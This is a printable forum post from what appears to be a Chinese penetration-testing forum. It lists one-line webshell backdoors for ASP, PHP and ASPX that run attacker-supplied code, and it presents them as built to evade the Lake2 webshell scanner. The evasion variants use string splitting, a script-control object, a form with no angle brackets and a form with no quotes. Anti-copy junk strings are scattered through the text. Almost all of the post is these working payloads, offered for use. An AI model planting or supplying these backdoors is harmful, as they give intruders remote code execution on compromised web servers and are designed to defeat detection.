中国网络渗透测试联盟

标题: 过雷克图一句话木马 [打印本页]

作者: admin    时间: 2012-9-23 14:36
标题: 过雷克图一句话木马
asp一句话  <%execute(request("1"))%>  
' T5 D; G1 D$ f: S3 X  C( p; _5 s# K% J7 A7 L* ~
php一句话  <?php eval($_POST[1]);?>  1 h! T. i' z( D& [. e( N9 i
, A6 n/ d" t5 Y& o
aspx一句话
. F6 X; Z+ _; V! b& R0 c5 g1 {7 @$ c( S( ?7 L  |
<script language="C#" runat="server">
7 O) b8 ]  D2 l
! ~( H+ w  V1 Q& l' h$ |! g0 D' pWebAdmin2Y.x.y aaaaa = new  WebAdmin2Y.x.y   ("add6bb58e139be10");
. H$ d* M7 K$ i# v6 w% G, c3 }  W) q+ x. ^: n+ Q. c: s
</script>
) U5 _+ W& M" i" ~2 `- p% O' A$ I5 b8 ?8 R4 t- h, A
可以躲过雷客图的一句话。
; T; J  w; N7 E# D" q+ }/ a7 m5 z3 Y- I+ k
  <%
, J2 V  s7 g1 Y, b$ A8 d, N2 t
1 M$ }3 J9 O& z" D- w& Z  set ms = server.CreateObject("MSScriptControl.ScriptControl.1")+ a0 I0 n5 K* s5 b' Z! l0 ~

- Z1 c" m5 U) D8 }7 u. Y  ms.Language="VBScript", u" G8 C$ ^9 A" u# l
3 r5 e3 v# R6 N
  ms.AddObject "Response", Response6 a2 p) z! s- S
  {0 S! I2 ^  x3 V3 B! k" I
  ms.AddObject "request", request
5 M9 `1 @; Z( D& C5 Z1 B7 w6 o% A, w
  ms.ExecuteStatement("ev"&"al(request(""1""))")
5 O" ~+ p7 {$ j- @2 e% N( ?
9 O& J* R1 Z, ]5 x. w; [6 Y  %>$ O5 `. {+ z$ G6 ~
# e2 k/ ^7 i8 w% x
  不用'<,>'的asp一句话# c; }- i" k! i

4 b, x- x$ y, k$ v  <script language=VBScript runat=server>execute request("1")</script>
+ R6 H, _! O" m. c8 p! t: V& c* z5 x: ?, G: M/ ?- F/ H
  不用双引号的一句话。
4 b9 @$ O) z7 `7 }7 A$ N/ B
+ ^8 s( t' m. O6 \- f) Q  <%eval request(chr(35))%>
& s- ?$ q% H; N! R* [3 q4 e8 @




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2